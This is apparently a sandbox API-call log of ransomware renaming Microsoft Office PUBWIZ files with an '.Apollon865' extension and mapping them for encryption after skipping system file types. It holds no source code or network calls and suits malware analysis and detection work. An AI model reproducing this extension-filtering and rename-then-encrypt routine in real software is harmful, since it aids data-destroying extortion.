	[0067.244] lstrcpyW (in: lpString1=0x2d3e5b4, lpString2="DGWEBSBR.DPV" | out: lpString1="DGWEBSBR.DPV") returned="DGWEBSBR.DPV"
	[0067.244] lstrlenW (lpString="DGWEBSBR.DPV") returned 12
	[0067.244] lstrlenW (lpString="Apollon865") returned 10
	[0067.245] lstrcmpiW (lpString1="WEBSBR.DPV", lpString2="Apollon865") returned 1
	[0067.245] lstrlenW (lpString=".dll") returned 4
	[0067.245] lstrcmpiW (lpString1="DGWEBSBR.DPV", lpString2=".dll") returned 1
	[0067.245] lstrlenW (lpString=".lnk") returned 4
	[0067.245] lstrcmpiW (lpString1="DGWEBSBR.DPV", lpString2=".lnk") returned 1
	[0067.245] lstrlenW (lpString=".ini") returned 4
	[0067.245] lstrcmpiW (lpString1="DGWEBSBR.DPV", lpString2=".ini") returned 1
	[0067.245] lstrlenW (lpString=".sys") returned 4
	[0067.245] lstrcmpiW (lpString1="DGWEBSBR.DPV", lpString2=".sys") returned 1
	[0067.245] lstrlenW (lpString="DGWEBSBR.DPV") returned 12
	[0067.245] lstrcpyW (in: lpString1=0x2d3e5b4, lpString2="DGWEBSBR.XML" | out: lpString1="DGWEBSBR.XML") returned="DGWEBSBR.XML"
	[0067.245] lstrlenW (lpString="DGWEBSBR.XML") returned 12
	[0067.245] lstrlenW (lpString="Apollon865") returned 10
	[0067.245] lstrcmpiW (lpString1="WEBSBR.XML", lpString2="Apollon865") returned 1
	[0067.245] lstrlenW (lpString=".dll") returned 4
	[0067.245] lstrcmpiW (lpString1="DGWEBSBR.XML", lpString2=".dll") returned 1
	[0067.245] lstrlenW (lpString=".lnk") returned 4
	[0067.245] lstrcmpiW (lpString1="DGWEBSBR.XML", lpString2=".lnk") returned 1
	[0067.245] lstrlenW (lpString=".ini") returned 4
	[0067.245] lstrcmpiW (lpString1="DGWEBSBR.XML", lpString2=".ini") returned 1
	[0067.245] lstrlenW (lpString=".sys") returned 4
	[0067.245] lstrcmpiW (lpString1="DGWEBSBR.XML", lpString2=".sys") returned 1
	[0067.245] lstrlenW (lpString="DGWEBSBR.XML") returned 12
	[0067.245] wsprintfW (in: param_1=0x2d3d2e0, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\DGWEBSBR.XML.Apollon865") returned 73
	[0067.245] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\DGWEBSBR.XML" (normalized: "c:\\program files\\microsoft office\\office14\\pubwiz\\dgwebsbr.xml"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\DGWEBSBR.XML.Apollon865" (normalized: "c:\\program files\\microsoft office\\office14\\pubwiz\\dgwebsbr.xml.apollon865"), dwFlags=0x1) returned 1
	[0067.246] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\DGWEBSBR.XML.Apollon865" (normalized: "c:\\program files\\microsoft office\\office14\\pubwiz\\dgwebsbr.xml.apollon865"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x88000080, hTemplateFile=0x0) returned 0x15c
	[0067.246] GetFileSizeEx (in: hFile=0x15c, lpFileSize=0x2d3e1e0 | out: lpFileSize=0x2d3e1e0*=3004) returned 1
	[0067.246] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x200300) returned 0x34f0020
	[0067.246] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x6c) returned 0x59ab78
	[0067.246] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x5bf898
	[0067.246] CryptAcquireContextW (in: phProv=0x2d3cf9c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x2d3cf9c*=0x5bf700) returned 1
	[0067.247] CryptGenRandom (in: hProv=0x5bf700, dwLen=0x80, pbBuffer=0x2d3cfb0 | out: pbBuffer=0x2d3cfb0) returned 1
	[0067.247] CryptReleaseContext (hProv=0x5bf700, dwFlags=0x0) returned 1
	[0067.247] CreateFileMappingW (hFile=0x15c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0xec0, lpName=0x0) returned 0x100
	[0067.258] MapViewOfFile (hFileMappingObject=0x100, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0xec0) returned 0x100000
	[0067.259] CryptAcquireContextW (in: phProv=0x2d3cf4c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x2d3cf4c*=0x5bf700) returned 1
	[0067.259] CryptGenRandom (in: hProv=0x5bf700, dwLen=0x80, pbBuffer=0x2d3cf60 | out: pbBuffer=0x2d3cf60) returned 1
	[0067.259] CryptReleaseContext (hProv=0x5bf700, dwFlags=0x0) returned 1
	[0067.260] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x6c) returned 0x59ab00
	[0067.260] lstrcpyW (in: lpString1=0x2d3e5b4, lpString2="DGZIP.DPV" | out: lpString1="DGZIP.DPV") returned="DGZIP.DPV"
	[0067.260] lstrlenW (lpString="DGZIP.DPV") returned 9
	[0067.260] lstrlenW (lpString="Apollon865") returned 10
	[0067.260] lstrlenW (lpString=".dll") returned 4
	[0067.260] lstrcmpiW (lpString1="DGZIP.DPV", lpString2=".dll") returned 1
	[0067.260] lstrlenW (lpString=".lnk") returned 4
	[0067.260] lstrcmpiW (lpString1="DGZIP.DPV", lpString2=".lnk") returned 1
	[0067.260] lstrlenW (lpString=".ini") returned 4
	[0067.260] lstrcmpiW (lpString1="DGZIP.DPV", lpString2=".ini") returned 1
	[0067.260] lstrlenW (lpString=".sys") returned 4
	[0067.260] lstrcmpiW (lpString1="DGZIP.DPV", lpString2=".sys") returned 1
	[0067.260] lstrlenW (lpString="DGZIP.DPV") returned 9
	[0067.261] lstrcpyW (in: lpString1=0x2d3e5b4, lpString2="DGZIPC.XML" | out: lpString1="DGZIPC.XML") returned="DGZIPC.XML"
	[0067.261] lstrlenW (lpString="DGZIPC.XML") returned 10
	[0067.261] lstrlenW (lpString="Apollon865") returned 10
	[0067.261] lstrlenW (lpString=".dll") returned 4
	[0067.261] lstrcmpiW (lpString1="DGZIPC.XML", lpString2=".dll") returned 1
	[0067.261] lstrlenW (lpString=".lnk") returned 4
	[0067.261] lstrcmpiW (lpString1="DGZIPC.XML", lpString2=".lnk") returned 1
	[0067.261] lstrlenW (lpString=".ini") returned 4
	[0067.261] lstrcmpiW (lpString1="DGZIPC.XML", lpString2=".ini") returned 1
	[0067.261] lstrlenW (lpString=".sys") returned 4
	[0067.261] lstrcmpiW (lpString1="DGZIPC.XML", lpString2=".sys") returned 1
	[0067.261] lstrlenW (lpString="DGZIPC.XML") returned 10
	[0067.261] wsprintfW (in: param_1=0x2d3d2e0, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\DGZIPC.XML.Apollon865") returned 71
	[0067.261] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\DGZIPC.XML" (normalized: "c:\\program files\\microsoft office\\office14\\pubwiz\\dgzipc.xml"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\DGZIPC.XML.Apollon865" (normalized: "c:\\program files\\microsoft office\\office14\\pubwiz\\dgzipc.xml.apollon865"), dwFlags=0x1) returned 1
	[0067.262] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\DGZIPC.XML.Apollon865" (normalized: "c:\\program files\\microsoft office\\office14\\pubwiz\\dgzipc.xml.apollon865"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x88000080, hTemplateFile=0x0) returned 0x15c
	[0067.262] GetFileSizeEx (in: hFile=0x15c, lpFileSize=0x2d3e1e0 | out: lpFileSize=0x2d3e1e0*=214) returned 1
	[0067.262] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x200300) returned 0x34f0020
	[0067.262] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x6c) returned 0x59ab78
	[0067.262] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x5bf898
	[0067.263] CryptAcquireContextW (in: phProv=0x2d3cf9c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x2d3cf9c*=0x5bf700) returned 1
	[0067.263] CryptGenRandom (in: hProv=0x5bf700, dwLen=0x80, pbBuffer=0x2d3cfb0 | out: pbBuffer=0x2d3cfb0) returned 1
	[0067.263] CryptReleaseContext (hProv=0x5bf700, dwFlags=0x0) returned 1
	[0067.263] CreateFileMappingW (hFile=0x15c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x3e0, lpName=0x0) returned 0x100
	[0067.266] MapViewOfFile (hFileMappingObject=0x100, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x3e0) returned 0x100000
	[0067.267] CryptAcquireContextW (in: phProv=0x2d3cf4c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x2d3cf4c*=0x5bf700) returned 1
	[0067.268] CryptGenRandom (in: hProv=0x5bf700, dwLen=0x80, pbBuffer=0x2d3cf60 | out: pbBuffer=0x2d3cf60) returned 1
	[0067.268] CryptReleaseContext (hProv=0x5bf700, dwFlags=0x0) returned 1
	[0067.268] lstrcpyW (in: lpString1=0x2d3e5b4, lpString2="DOTS.POC" | out: lpString1="DOTS.POC") returned="DOTS.POC"
	[0067.268] lstrlenW (lpString="DOTS.POC") returned 8
	[0067.268] lstrlenW (lpString="Apollon865") returned 10
	[0067.268] lstrlenW (lpString=".dll") returned 4
	[0067.269] lstrcmpiW (lpString1="DOTS.POC", lpString2=".dll") returned 1
	[0067.269] lstrlenW (lpString=".lnk") returned 4
	[0067.269] lstrcmpiW (lpString1="DOTS.POC", lpString2=".lnk") returned 1
	[0067.269] lstrlenW (lpString=".ini") returned 4
	[0067.269] lstrcmpiW (lpString1="DOTS.POC", lpString2=".ini") returned 1
	[0067.269] lstrlenW (lpString=".sys") returned 4
	[0067.269] lstrcmpiW (lpString1="DOTS.POC", lpString2=".sys") returned 1
	[0067.269] lstrlenW (lpString="DOTS.POC") returned 8
	[0067.269] lstrcpyW (in: lpString1=0x2d3e5b4, lpString2="DVDHM.POC" | out: lpString1="DVDHM.POC") returned="DVDHM.POC"
	[0067.269] lstrlenW (lpString="DVDHM.POC") returned 9
	[0067.269] lstrlenW (lpString="Apollon865") returned 10
	[0067.269] lstrlenW (lpString=".dll") returned 4
	[0067.269] lstrcmpiW (lpString1="DVDHM.POC", lpString2=".dll") returned 1
	[0067.269] lstrlenW (lpString=".lnk") returned 4
	[0067.269] lstrcmpiW (lpString1="DVDHM.POC", lpString2=".lnk") returned 1
	[0067.269] lstrlenW (lpString=".ini") returned 4
	[0067.269] lstrcmpiW (lpString1="DVDHM.POC", lpString2=".ini") returned 1
	[0067.269] lstrlenW (lpString=".sys") returned 4
	[0067.269] lstrcmpiW (lpString1="DVDHM.POC", lpString2=".sys") returned 1
	[0067.269] lstrlenW (lpString="DVDHM.POC") returned 9
	[0067.269] lstrcpyW (in: lpString1=0x2d3e5b4, lpString2="EMAIL.DPV" | out: lpString1="EMAIL.DPV") returned="EMAIL.DPV"
	[0067.269] lstrlenW (lpString="EMAIL.DPV") returned 9
	[0067.269] lstrlenW (lpString="Apollon865") returned 10
	[0067.269] lstrlenW (lpString=".dll") returned 4
	[0067.269] lstrcmpiW (lpString1="EMAIL.DPV", lpString2=".dll") returned 1
	[0067.269] lstrlenW (lpString=".lnk") returned 4
	[0067.269] lstrcmpiW (lpString1="EMAIL.DPV", lpString2=".lnk") returned 1
	[0067.269] lstrlenW (lpString=".ini") returned 4
	[0067.269] lstrcmpiW (lpString1="EMAIL.DPV", lpString2=".ini") returned 1
	[0067.269] lstrlenW (lpString=".sys") returned 4
	[0067.269] lstrcmpiW (lpString1="EMAIL.DPV", lpString2=".sys") returned 1
	[0067.269] lstrlenW (lpString="EMAIL.DPV") returned 9
	[0067.270] lstrcpyW (in: lpString1=0x2d3e5b4, lpString2="EMAIL.XML" | out: lpString1="EMAIL.XML") returned="EMAIL.XML"
	[0067.270] lstrlenW (lpString="EMAIL.XML") returned 9
	[0067.270] lstrlenW (lpString="Apollon865") returned 10
	[0067.270] lstrlenW (lpString=".dll") returned 4
	[0067.270] lstrcmpiW (lpString1="EMAIL.XML", lpString2=".dll") returned 1
	[0067.270] lstrlenW (lpString=".lnk") returned 4
	[0067.270] lstrcmpiW (lpString1="EMAIL.XML", lpString2=".lnk") returned 1
	[0067.270] lstrlenW (lpString=".ini") returned 4
	[0067.270] lstrcmpiW (lpString1="EMAIL.XML", lpString2=".ini") returned 1
	[0067.270] lstrlenW (lpString=".sys") returned 4
	[0067.270] lstrcmpiW (lpString1="EMAIL.XML", lpString2=".sys") returned 1
	[0067.270] lstrlenW (lpString="EMAIL.XML") returned 9
	[0067.270] wsprintfW (in: param_1=0x2d3d2e0, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\EMAIL.XML.Apollon865") returned 70
	[0067.270] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\EMAIL.XML" (normalized: "c:\\program files\\microsoft office\\office14\\pubwiz\\email.xml"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\EMAIL.XML.Apollon865" (normalized: "c:\\program files\\microsoft office\\office14\\pubwiz\\email.xml.apollon865"), dwFlags=0x1) returned 1
	[0067.273] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\EMAIL.XML.Apollon865" (normalized: "c:\\program files\\microsoft office\\office14\\pubwiz\\email.xml.apollon865"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x88000080, hTemplateFile=0x0) returned 0x15c
	[0067.274] GetFileSizeEx (in: hFile=0x15c, lpFileSize=0x2d3e1e0 | out: lpFileSize=0x2d3e1e0*=53350) returned 1
	[0067.274] CryptAcquireContextW (in: phProv=0x2d3cf9c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x2d3cf9c*=0x5bf700) returned 1
	[0067.275] CryptGenRandom (in: hProv=0x5bf700, dwLen=0x80, pbBuffer=0x2d3cfb0 | out: pbBuffer=0x2d3cfb0) returned 1
	[0067.275] CryptReleaseContext (hProv=0x5bf700, dwFlags=0x0) returned 1
	[0067.275] CreateFileMappingW (hFile=0x15c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0xd370, lpName=0x0) returned 0x100
	[0067.276] MapViewOfFile (hFileMappingObject=0x100, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0xd370) returned 0x100000
	[0067.280] CryptAcquireContextW (in: phProv=0x2d3cf4c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x2d3cf4c*=0x5bf700) returned 1
	[0067.281] CryptGenRandom (in: hProv=0x5bf700, dwLen=0x80, pbBuffer=0x2d3cf60 | out: pbBuffer=0x2d3cf60) returned 1
	[0067.281] CryptReleaseContext (hProv=0x5bf700, dwFlags=0x0) returned 1
	[0067.282] lstrcpyW (in: lpString1=0x2d3e5b4, lpString2="EMAIL11.POC" | out: lpString1="EMAIL11.POC") returned="EMAIL11.POC"
	[0067.282] lstrlenW (lpString="EMAIL11.POC") returned 11
	[0067.282] lstrlenW (lpString="Apollon865") returned 10
	[0067.282] lstrcmpiW (lpString1="MAIL11.POC", lpString2="Apollon865") returned 1
	[0067.282] lstrlenW (lpString=".dll") returned 4
	[0067.282] lstrcmpiW (lpString1="EMAIL11.POC", lpString2=".dll") returned 1
	[0067.282] lstrlenW (lpString=".lnk") returned 4
	[0067.282] lstrcmpiW (lpString1="EMAIL11.POC", lpString2=".lnk") returned 1
	[0067.282] lstrlenW (lpString=".ini") returned 4
	[0067.282] lstrcmpiW (lpString1="EMAIL11.POC", lpString2=".ini") returned 1
	[0067.282] lstrlenW (lpString=".sys") returned 4
	[0067.283] lstrcmpiW (lpString1="EMAIL11.POC", lpString2=".sys") returned 1
	[0067.283] lstrlenW (lpString="EMAIL11.POC") returned 11
	[0067.283] lstrcpyW (in: lpString1=0x2d3e5b4, lpString2="EMAILMOD.POC" | out: lpString1="EMAILMOD.POC") returned="EMAILMOD.POC"
	[0067.283] lstrlenW (lpString="EMAILMOD.POC") returned 12
	[0067.283] lstrlenW (lpString="Apollon865") returned 10
	[0067.283] lstrcmpiW (lpString1="AILMOD.POC", lpString2="Apollon865") returned -1
	[0067.283] lstrlenW (lpString=".dll") returned 4
	[0067.283] lstrcmpiW (lpString1="EMAILMOD.POC", lpString2=".dll") returned 1
	[0067.283] lstrlenW (lpString=".lnk") returned 4
	[0067.283] lstrcmpiW (lpString1="EMAILMOD.POC", lpString2=".lnk") returned 1
	[0067.283] lstrlenW (lpString=".ini") returned 4
	[0067.283] lstrcmpiW (lpString1="EMAILMOD.POC", lpString2=".ini") returned 1
	[0067.283] lstrlenW (lpString=".sys") returned 4
	[0067.283] lstrcmpiW (lpString1="EMAILMOD.POC", lpString2=".sys") returned 1
	[0067.283] lstrlenW (lpString="EMAILMOD.POC") returned 12
	[0067.283] lstrcpyW (in: lpString1=0x2d3e5b4, lpString2="ENV11.POC" | out: lpString1="ENV11.POC") returned="ENV11.POC"
	[0067.283] lstrlenW (lpString="ENV11.POC") returned 9
	[0067.283] lstrlenW (lpString="Apollon865") returned 10
	[0067.283] lstrlenW (lpString=".dll") returned 4
	[0067.283] lstrcmpiW (lpString1="ENV11.POC", lpString2=".dll") returned 1
	[0067.283] lstrlenW (lpString=".lnk") returned 4
	[0067.283] lstrcmpiW (lpString1="ENV11.POC", lpString2=".lnk") returned 1
	[0067.283] lstrlenW (lpString=".ini") returned 4
	[0067.283] lstrcmpiW (lpString1="ENV11.POC", lpString2=".ini") returned 1
	[0067.284] lstrlenW (lpString=".sys") returned 4
	[0067.284] lstrcmpiW (lpString1="ENV11.POC", lpString2=".sys") returned 1
	[0067.284] lstrlenW (lpString="ENV11.POC") returned 9
	[0067.284] lstrcpyW (in: lpString1=0x2d3e5b4, lpString2="ENV98.POC" | out: lpString1="ENV98.POC") returned="ENV98.POC"
	[0067.284] lstrlenW (lpString="ENV98.POC") returned 9
	[0067.284] lstrlenW (lpString="Apollon865") returned 10
	[0067.284] lstrlenW (lpString=".dll") returned 4
	[0067.284] lstrcmpiW (lpString1="ENV98.POC", lpString2=".dll") returned 1
	[0067.284] lstrlenW (lpString=".lnk") returned 4
	[0067.284] lstrcmpiW (lpString1="ENV98.POC", lpString2=".lnk") returned 1
	[0067.284] lstrlenW (lpString=".ini") returned 4
	[0067.284] lstrcmpiW (lpString1="ENV98.POC", lpString2=".ini") returned 1
	[0067.284] lstrlenW (lpString=".sys") returned 4
	[0067.284] lstrcmpiW (lpString1="ENV98.POC", lpString2=".sys") returned 1
	[0067.284] lstrlenW (lpString="ENV98.POC") returned 9
	[0067.284] lstrcpyW (in: lpString1=0x2d3e5b4, lpString2="ENV98SP.POC" | out: lpString1="ENV98SP.POC") returned="ENV98SP.POC"
	[0067.284] lstrlenW (lpString="ENV98SP.POC") returned 11
	[0067.284] lstrlenW (lpString="Apollon865") returned 10
	[0067.284] lstrcmpiW (lpString1="NV98SP.POC", lpString2="Apollon865") returned 1
	[0067.284] lstrlenW (lpString=".dll") returned 4
	[0067.284] lstrcmpiW (lpString1="ENV98SP.POC", lpString2=".dll") returned 1
	[0067.284] lstrlenW (lpString=".lnk") returned 4
	[0067.284] lstrcmpiW (lpString1="ENV98SP.POC", lpString2=".lnk") returned 1
	[0067.284] lstrlenW (lpString=".ini") returned 4
	[0067.284] lstrcmpiW (lpString1="ENV98SP.POC", lpString2=".ini") returned 1
	[0067.284] lstrlenW (lpString=".sys") returned 4
	[0067.284] lstrcmpiW (lpString1="ENV98SP.POC", lpString2=".sys") returned 1
	[0067.284] lstrlenW (lpString="ENV98SP.POC") returned 11
	[0067.285] lstrcpyW (in: lpString1=0x2d3e5b4, lpString2="ENVELOPE.DPV" | out: lpString1="ENVELOPE.DPV") returned="ENVELOPE.DPV"
	[0067.285] lstrlenW (lpString="ENVELOPE.DPV") returned 12
	[0067.285] lstrlenW (lpString="Apollon865") returned 10
	[0067.285] lstrcmpiW (lpString1="VELOPE.DPV", lpString2="Apollon865") returned 1
	[0067.285] lstrlenW (lpString=".dll") returned 4
	[0067.285] lstrcmpiW (lpString1="ENVELOPE.DPV", lpString2=".dll") returned 1
	[0067.285] lstrlenW (lpString=".lnk") returned 4
	[0067.285] lstrcmpiW (lpString1="ENVELOPE.DPV", lpString2=".lnk") returned 1
	[0067.285] lstrlenW (lpString=".ini") returned 4
	[0067.285] lstrcmpiW (lpString1="ENVELOPE.DPV", lpString2=".ini") returned 1
	[0067.285] lstrlenW (lpString=".sys") returned 4
	[0067.285] lstrcmpiW (lpString1="ENVELOPE.DPV", lpString2=".sys") returned 1
	[0067.285] lstrlenW (lpString="ENVELOPE.DPV") returned 12
	[0067.285] lstrcpyW (in: lpString1=0x2d3e5b4, lpString2="ENVELOPE.XML" | out: lpString1="ENVELOPE.XML") returned="ENVELOPE.XML"
	[0067.285] lstrlenW (lpString="ENVELOPE.XML") returned 12
	[0067.285] lstrlenW (lpString="Apollon865") returned 10
	[0067.285] lstrcmpiW (lpString1="VELOPE.XML", lpString2="Apollon865") returned 1
	[0067.285] lstrlenW (lpString=".dll") returned 4
	[0067.285] lstrcmpiW (lpString1="ENVELOPE.XML", lpString2=".dll") returned 1
	[0067.285] lstrlenW (lpString=".lnk") returned 4
	[0067.285] lstrcmpiW (lpString1="ENVELOPE.XML", lpString2=".lnk") returned 1
	[0067.285] lstrlenW (lpString=".ini") returned 4
	[0067.285] lstrcmpiW (lpString1="ENVELOPE.XML", lpString2=".ini") returned 1
	[0067.285] lstrlenW (lpString=".sys") returned 4
	[0067.285] lstrcmpiW (lpString1="ENVELOPE.XML", lpString2=".sys") returned 1
	[0067.285] lstrlenW (lpString="ENVELOPE.XML") returned 12
	[0067.285] wsprintfW (in: param_1=0x2d3d2e0, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\ENVELOPE.XML.Apollon865") returned 73
	[0067.285] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\ENVELOPE.XML" (normalized: "c:\\program files\\microsoft office\\office14\\pubwiz\\envelope.xml"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\ENVELOPE.XML.Apollon865" (normalized: "c:\\program files\\microsoft office\\office14\\pubwiz\\envelope.xml.apollon865"), dwFlags=0x1) returned 1
	[0067.296] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\ENVELOPE.XML.Apollon865" (normalized: "c:\\program files\\microsoft office\\office14\\pubwiz\\envelope.xml.apollon865"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x88000080, hTemplateFile=0x0) returned 0x15c
	[0067.297] GetFileSizeEx (in: hFile=0x15c, lpFileSize=0x2d3e1e0 | out: lpFileSize=0x2d3e1e0*=12510) returned 1
	[0067.297] CryptAcquireContextW (in: phProv=0x2d3cf9c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x2d3cf9c*=0x5bf700) returned 1
	[0067.297] CryptGenRandom (in: hProv=0x5bf700, dwLen=0x80, pbBuffer=0x2d3cfb0 | out: pbBuffer=0x2d3cfb0) returned 1
	[0067.297] CryptReleaseContext (hProv=0x5bf700, dwFlags=0x0) returned 1
	[0067.298] CreateFileMappingW (hFile=0x15c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x33e0, lpName=0x0) returned 0x100
	[0067.300] MapViewOfFile (hFileMappingObject=0x100, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x33e0) returned 0x100000
	[0067.301] CryptAcquireContextW (in: phProv=0x2d3cf4c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x2d3cf4c*=0x5bf700) returned 1
	[0067.302] CryptGenRandom (in: hProv=0x5bf700, dwLen=0x80, pbBuffer=0x2d3cf60 | out: pbBuffer=0x2d3cf60) returned 1
	[0067.302] CryptReleaseContext (hProv=0x5bf700, dwFlags=0x0) returned 1
	[0067.302] lstrcpyW (in: lpString1=0x2d3e5b4, lpString2="ENVHM.POC" | out: lpString1="ENVHM.POC") returned="ENVHM.POC"
	[0067.302] lstrlenW (lpString="ENVHM.POC") returned 9
	[0067.303] lstrlenW (lpString="Apollon865") returned 10
	[0067.303] lstrlenW (lpString=".dll") returned 4
	[0067.303] lstrcmpiW (lpString1="ENVHM.POC", lpString2=".dll") returned 1
	[0067.303] lstrlenW (lpString=".lnk") returned 4
	[0067.303] lstrcmpiW (lpString1="ENVHM.POC", lpString2=".lnk") returned 1
	[0067.303] lstrlenW (lpString=".ini") returned 4
	[0067.303] lstrcmpiW (lpString1="ENVHM.POC", lpString2=".ini") returned 1
	[0067.303] lstrlenW (lpString=".sys") returned 4
	[0067.303] lstrcmpiW (lpString1="ENVHM.POC", lpString2=".sys") returned 1
	[0067.303] lstrlenW (lpString="ENVHM.POC") returned 9
	[0067.303] lstrcpyW (in: lpString1=0x2d3e5b4, lpString2="FEZIP.POC" | out: lpString1="FEZIP.POC") returned="FEZIP.POC"
	[0067.303] lstrlenW (lpString="FEZIP.POC") returned 9
	[0067.303] lstrlenW (lpString="Apollon865") returned 10
	[0067.303] lstrlenW (lpString=".dll") returned 4
	[0067.303] lstrcmpiW (lpString1="FEZIP.POC", lpString2=".dll") returned 1
	[0067.303] lstrlenW (lpString=".lnk") returned 4
	[0067.303] lstrcmpiW (lpString1="FEZIP.POC", lpString2=".lnk") returned 1
	[0067.303] lstrlenW (lpString=".ini") returned 4
	[0067.303] lstrcmpiW (lpString1="FEZIP.POC", lpString2=".ini") returned 1
	[0067.303] lstrlenW (lpString=".sys") returned 4
	[0067.303] lstrcmpiW (lpString1="FEZIP.POC", lpString2=".sys") returned 1
	[0067.303] lstrlenW (lpString="FEZIP.POC") returned 9
	[0067.303] lstrcpyW (in: lpString1=0x2d3e5b4, lpString2="FLY98SP.POC" | out: lpString1="FLY98SP.POC") returned="FLY98SP.POC"
	[0067.303] lstrlenW (lpString="FLY98SP.POC") returned 11
	[0067.303] lstrlenW (lpString="Apollon865") returned 10
	[0067.303] lstrcmpiW (lpString1="LY98SP.POC", lpString2="Apollon865") returned 1
	[0067.303] lstrlenW (lpString=".dll") returned 4
	[0067.303] lstrcmpiW (lpString1="FLY98SP.POC", lpString2=".dll") returned 1
	[0067.303] lstrlenW (lpString=".lnk") returned 4
	[0067.303] lstrcmpiW (lpString1="FLY98SP.POC", lpString2=".lnk") returned 1
	[0067.303] lstrlenW (lpString=".ini") returned 4
	[0067.303] lstrcmpiW (lpString1="FLY98SP.POC", lpString2=".ini") returned 1
	[0067.303] lstrlenW (lpString=".sys") returned 4
	[0067.304] lstrcmpiW (lpString1="FLY98SP.POC", lpString2=".sys") returned 1
	[0067.304] lstrlenW (lpString="FLY98SP.POC") returned 11
	[0067.304] lstrcpyW (in: lpString1=0x2d3e5b4, lpString2="FLYER.DPV" | out: lpString1="FLYER.DPV") returned="FLYER.DPV"
	[0067.304] lstrlenW (lpString="FLYER.DPV") returned 9
	[0067.304] lstrlenW (lpString="Apollon865") returned 10
	[0067.304] lstrlenW (lpString=".dll") returned 4
	[0067.304] lstrcmpiW (lpString1="FLYER.DPV", lpString2=".dll") returned 1
	[0067.304] lstrcpyW (in: lpString1=0x2d3e5b4, lpString2="FLYER.XML" | out: lpString1="FLYER.XML") returned="FLYER.XML"
	[0067.304] lstrlenW (lpString="FLYER.XML") returned 9
	[0067.304] lstrlenW (lpString="Apollon865") returned 10
	[0067.304] wsprintfW (in: param_1=0x2d3d2e0, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\FLYER.XML.Apollon865") returned 70
	[0067.304] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\FLYER.XML" (normalized: "c:\\program files\\microsoft office\\office14\\pubwiz\\flyer.xml"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\FLYER.XML.Apollon865" (normalized: "c:\\program files\\microsoft office\\office14\\pubwiz\\flyer.xml.apollon865"), dwFlags=0x1) returned 1
